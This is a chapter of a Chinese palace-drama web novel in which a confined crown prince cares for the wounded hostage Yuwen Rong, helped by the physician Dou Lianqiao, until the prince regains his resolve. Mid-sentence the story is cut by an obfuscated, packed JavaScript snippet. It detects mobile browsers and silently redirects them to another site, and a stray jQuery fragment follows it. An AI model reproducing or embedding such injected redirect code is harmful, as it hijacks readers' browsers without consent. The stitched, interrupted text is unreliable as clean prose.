静思堂没有像样的病榻。太子将宇文戎轻轻放在了自己那张并不宽大的床上。
太医赶来了，在烛光下清洗伤口、缝合上药。可静思堂阴冷，缺炭少药，加之这些日子强行压制的旧伤与心力交瘁一同反噬，当夜宇文戎便发起高烧。
他浑身滚烫，意识陷入混沌，苍白的唇间时而溢出破碎的呓语。太子整日守在榻边，用冷水浸湿的布巾一遍遍敷他的额头，可那热度丝毫未退。
黄昏时分，梁帝来了。
皇帝踏入静思堂时，太子正跪在榻边，试图给昏迷的人喂些清水。水从嘴角溢出，太子用手帕轻轻擦去。
梁帝站在门边，静静看了片刻。
怀恩低声提醒，皇帝才缓步走近。他没有看跪地行礼的太子，目光落在榻上那人苍白的脸上。高烧让宇文戎双颊泛着不正常的潮红，唇却干裂发白，呼吸急促而浅薄。
梁帝俯身，凑近了些。
就在这时，宇文戎的唇微微动了动，极轻地吐出两个字：
“……连翘。”
声音轻得像叹息，却清晰入耳。
梁帝的身体几不可察地一僵。他直起身，看着那张与自己十分相似的脸，良久，极轻地叹了口气。
“父皇！”太子忽然重重叩首，“静思堂阴冷潮湿，缺医少药，戎……宇文戎伤势太重，儿臣恳请父皇开恩，准他移居德泽殿救治！儿臣愿……愿一死以安君心！”
最后一个字落下时，太子的额头抵在冰冷的地面上，肩背微微颤抖。
梁帝缓缓转身，目光落在太子身上，那眼神里没有怒意，只有一种深沉的、几乎令人窒息的失望。
“德泽殿？”皇帝的声音很平静，却比怒吼更令人心悸，“他一介仆役，朕遣太医来，已是破例。有什么资格入住德泽殿？你想护他，你拿什么护？是东宫那些还未摸透权柄的属官？是羽林卫里连刺客都拦不住的废卒？还是——”他向前一步，龙纹靴尖几乎触到太子伏地的指尖，“你这道，连自己都未必保得住的储君名分？”
殿内炭火噼啪，映得天子面色半明半暗。
梁帝垂下眼帘，目光如审视一件尚未成器的祭器：
“想护人？先护住你自己这身冕服。死最容易不过。”梁帝的声音更冷了，“你若死了，便是逆臣。至于他——”皇帝的目光扫过榻上昏迷的人，“更是微不足道。”
说罢，拂袖而去。
太子的身影僵跪在原地，像一尊失了魂的石像。
梁帝走到静思堂大门外，脚步忽然停住。怀恩垂手侍立，听见皇帝极低的声音：
“朕记得戎儿入静思苑前清点的衣物里，有个靛蓝色的药囊，绣着忍冬纹。取出来，悄悄送往城南济安堂，就说……”
皇帝顿了顿，“就说，故人求诊。”
济安堂后院的药房里，窦连翘正在分拣新到的药材。
怀恩派来的人将药囊递上时，她手上的动作停了。那是她缝制的药囊，里面装的药材早已失效了，可囊身依旧干净，边角处磨损的痕迹显示它常被主人摩挲。
她什么也没问，放下药材，洗净手，开始收拾药匣。
一刻钟后，一顶毫不起眼的青布小轿悄然出了济安堂，朝宫城方向行去。
静思堂里，窦连翘的到来像一滴清泉滴入滚油。
她没有询问任何缘由。径直走到榻边，素手搭上宇文戎滚烫的手腕，片刻后，眉头微蹙。
“肺热壅盛，外伤引动内邪。”她的声音平静如古井，“需先退热，再治外伤。”
她打开药匣，取出一套银针。烛光下，针尖泛着寒芒。只见她指尖轻拂，十余枚银针已精准刺入穴位，动作行云流水——虽只用右手，却娴熟得仿佛左手从未存在过。
太子怔怔地看着这个忽然出现的女子。她约莫二十三四岁年纪，眉眼清淡，衣着朴素，可举手投足间有种说不出的从容。更奇的是，自她进来后，这间压抑了数日的屋子，仿佛忽然透进了一丝清风。
施针完毕，窦连翘又取出几味药材，就在屋角的小炉上亲自煎药。药香渐渐弥漫开来，带着清苦的气息。
夜深了，她守在榻边，每隔半个时辰便为宇文戎擦拭额上的汗，调整银针。太子几次想帮忙，都被她轻淡却不容置疑地挡开：“殿下请歇息，这里有民女。”
那是太子第一次听到有人用如此平静的语气称他“殿下”，没有敬畏，没有讨好，就像在说“今日天气尚可”。
第二日黎明，宇文戎的高热终于退了。
他悠悠醒转，视线模糊中，看见一道素淡的身影坐在榻边。待看清那张脸时，他瞳孔骤缩，嘴唇颤抖了许久，才发出微弱而不可置信的声音：
“……连翘姐？”
窦连翘正端着药碗，闻言抬起头，对他淡淡一笑：
“该喝药了。”
此后，两人再无言语。
宇文戎只要醒着，目光便始终追随着她——看她诊脉时低垂的眉眼，看她包扎时灵巧的手指，看她熬药时被热气熏得微红的脸颊。那目光里有太多复杂的东西，可窦连翘从不回应，除了医者对病人的叮嘱，一句也不多说。
她总是轻淡地微笑，然后做自己该做的事。
太子开始慢慢干起些许杂役——打水、烧炭、整理药材。他将最好的食物留给宇文戎和窦连翘，自己啃那些冷硬的干粮。不知为何，这个忽然出现的女子身上有种奇异的平和，像一池静水，让他和宇文戎这些日子紧绷到极致的弦，竟慢慢松弛下来。
第五日，尚仪局的女史前来查验。
那是个眉眼凌厉的中年女官，踏入院中便皱起眉头——台阶上有未扫净的枯叶，墙角炭灰洒了一小片。她径直走向正在晾晒绷带的窦连翘，声音尖利：
“你是何人？宫中重地，岂容闲杂人等随意进出？这院中脏污，成何体统！”
窦连翘缓缓转身，施了一礼，声音依旧平静：“民女窦连翘，受召入宫为伤者诊治。烦请女史告知，民女何处失职？是汤药不对，还是针灸有误，抑或包扎欠妥？”
女史一愣。
就在这时，里间的门开了。太子走了出来，站在台阶上，声音不高，却字字清晰：
“窦医师只负责救治戎儿。院内有何不妥，皆可问罪本宫。”
女史脸色一白，慌忙行礼告退。
那日阳光正好。
窦连翘扶着宇文戎走出房门，在院中的石阶上坐下。冬日的阳光淡薄而温暖，洒在两人身上。
她望着院角那株枯柳，目光宁静悠远，仿佛看着这世上最珍视的东西。宇文戎却侧过头，望着她被阳光勾勒的侧脸，嘴角慢慢扬起一个笑容。
那笑容里没有隐忍，没有算计，没有这些年压在肩头的沉重。它纯粹得像个少年，是宇文戎入京以来，太子从未见过的模样。
又过了两日，御史台的人来了。
还是奉旨问话。太子对宇文戎点点头，示意他安心，然后看向窦连翘：“劳烦窦医师，送戎儿回房休息。”
宇文戎担忧地望向太子，却感觉扶着自己的那只手在腕间轻轻一按——那是让他放心的意思。他顺从地起身，由窦连翘搀着回了屋。
那日太子在院中与御史对答，神色自若，有礼有据。每一个问题都回答得滴水不漏，却又在关键处留有余地。连在屋内静听的宇文戎，都有些惊讶于太子的成长。
消息传到紫宸殿，梁帝听完禀报，沉默良久，才道：
“太子倒是长进不少。”
怀恩垂首：“窦医师医术高明，宇文戎伤势已稳。”
“既如此，”梁帝顿了顿，“戎儿的伤要是没大碍了，就让窦医师回去吧。济安堂不能没有医师坐诊。”
窦连翘离开那晚，月色很凉。
她为宇文戎换了最后一次药，重新包扎好伤口，然后在屋内点燃了一支安神香。清淡的草药气息渐渐弥漫开来，宇文戎的眼皮慢慢沉重。
待他呼吸均匀后，窦连翘起身，对静立一旁的太子行了一礼：
“殿下的伤已无大碍，按时换药，静养即可。民女告辞。”
太子深深还礼：“多谢医师。”
怀恩等候在静思苑外。“窦医师，陛下念您辛劳，特赐私银五十两。”怀恩将托盘轻放于案，声音低缓，“杂家还有句话：“医者仁心，重在‘治’字。治好了病，便是功德圆满，其余诸事，皆如过眼云烟，散了最好。”他目光平静地看向窦连翘，“您说，是么？”
窦连翘轻施一礼：“回公公，医者自当为病家隐，是民女一贯的准则。”
她走到那盘白银前，只取了五两，用一块素帕仔细包好。她轻声道，“诊金三两，药费二两。民女依市价收取，不敢多受。”
她提起药匣，转身走入夜色。青布小轿早已候在宫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048644|194767||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
门外，载着她悄无声息地离开了这座宫城。
太子看到宇文戎未因窦连翘的离去，有特别大的起伏，暗自舒了一口气，他开始给宇文戎换药。雪白的绷带一层层褪下，露出其下狰狞的肌理。纵横交错，深褐与淡粉扭曲盘踞，旧痕叠着新创，有些甚至依稀能辨出刑具特有的规整棱角，密密覆在那清瘦却坚韧的背脊上。空气里弥漫着金疮药清苦的气味，却压不住那扑面而来的、属于过往无数个黑夜的残酷气息。
太子刘成拿着药瓶的手，僵在了半空。他呼吸骤停，瞳孔猛地收缩，仿佛被无形的重锤狠狠击中心脏。先前见宇文戎神色如常，言语平静，他甚至暗自松了口气，以为那些传闻中的磋磨多半是夸大其词。直到此刻，这具年轻躯体上无声的“史册”摊开在他眼前——每一道疤痕都是一个冰冷的注脚，记载着他所不曾看见、亦无法想象的煎熬。
“……戎儿，”太子的声音哽在喉头，涩得厉害，眼圈不受控制地红了，“当年……你……是怎么熬过来的？”
宇文戎侧着脸，目光落在窗外一截枯枝上，神色是近乎淡漠的平静。除却窦连翘那双总能精准抚平痛楚、从无惊骇只有专注疗愈的手，任何人初见此景的反应，不外如是。惊骇，怜悯，或许还有一丝不易察觉的畏缩。他早已习惯。
“都过去了。”他淡淡道，语气平常得像是提起一件久远的琐事。待换好药后，宇文戎道谢：“劳烦殿下。”便伸手去取榻边洗净的里衣，动作牵扯到背肌，新愈合的伤口传来细微的刺痛，他却连眉梢都未动一下，“我去烧壶热水。”
“你坐着！”太子忽然厉声打断，声音因情绪激动而有些变调。他一把按住宇文戎的肩，力道不大，却带着不容置疑的坚决。指尖触及那些凹凸不平的疤痕，竟微微发颤。“从今日起，你只管养伤。这些杂事，我来。”
他说到做到。
自此，静思堂这方狭小的天地里，太子刘成彻底摒弃了储君的矜贵。煎药、换药、洒扫、浆洗……他事事亲力亲为，笨拙而执拗地扮演起一个保护者的兄长角色。他做得实在不算好：换药时手势生硬，时常扯痛伤口；扫地只掠明面，角落积灰未净；洗净的衣衫总带着皂角未清尽的痕迹，晾干后也皱得不成样子。
宇文戎安静地受着这一切。他不再试图自己动手，甚至在某些时刻，会适时地流露出一点恰到好处的依赖与脆弱——尽管背上那点伤痛，与他曾经历过的相比，实在微不足道。
他敏锐地察觉到了太子的变化。那双总是盛满忧虑与迟疑的眼眸深处，有什么东西正在沉淀、凝聚，渐渐燃起一种前所未有的坚定火焰。太子的目光不再游离于“我能否逃离这困局”的彷徨，而是牢牢锁定在“我该如何破局，且必须尽快”的决绝之上。他擦拭桌案的动作越发沉稳，沉吟时的侧影渐具棱角。
宇文戎明白了。在太子此刻的心境中，一个亟待他保护的、伤痕累累的弟弟，远比一个能与他并肩作战的伙伴，更能点燃他骨血里属于储君的责任与血性，更能催促他挣脱懦弱，挺直脊梁。
于是，他让自己更“需要”被照顾。偶尔在太子换药时轻轻吸一口冷气，或是在对方端来并不可口的饭食时，默默多吃几口。他将自己置于“被保护者”的席位，这席位如同一方磨刀石，悄然砥砺着太子心中那把名为“担当”的利刃。
终于，在一个积雪初融的清晨，封闭许久的静思堂大门，被从内缓缓推开。太子刘成迈步而出，身上已不是幽禁时的素袍，而是一身织金绣龙的储君冠服。阳光落在他肩头，耀目生辉。他并未回头，步伐沉稳，向着象征帝国权力中心的宣政殿方向，堂堂正正地走去。背影挺拔如松，再无半分犹疑怯懦。
接下来的朝局风雷震动，太子以雷霆之势着手清算、整饬，那是属于储君的战场。而这些，已非质子宇文戎需要、亦能够置喙之事。而他所要做的是迁回德泽殿修书，继续证明自己有用。
紫宸殿内，檀香袅袅。
“戎儿，静思堂一事，朕看到了你的忠，你的义，乃至你的……勇。此番，你想要何赏赐？”
宇文戎闻言，缓缓撩袍，端端正正跪地，声音清晰，一字一句，在这空旷殿宇中落下：
“陛下，您已经给过臣赏赐了。”
宇文戎深深叩首，姿态是前所未有的恭顺，却也带着一种卸下所有伪装的、冰冷的坦诚：
“戎儿，谢舅舅恩典。”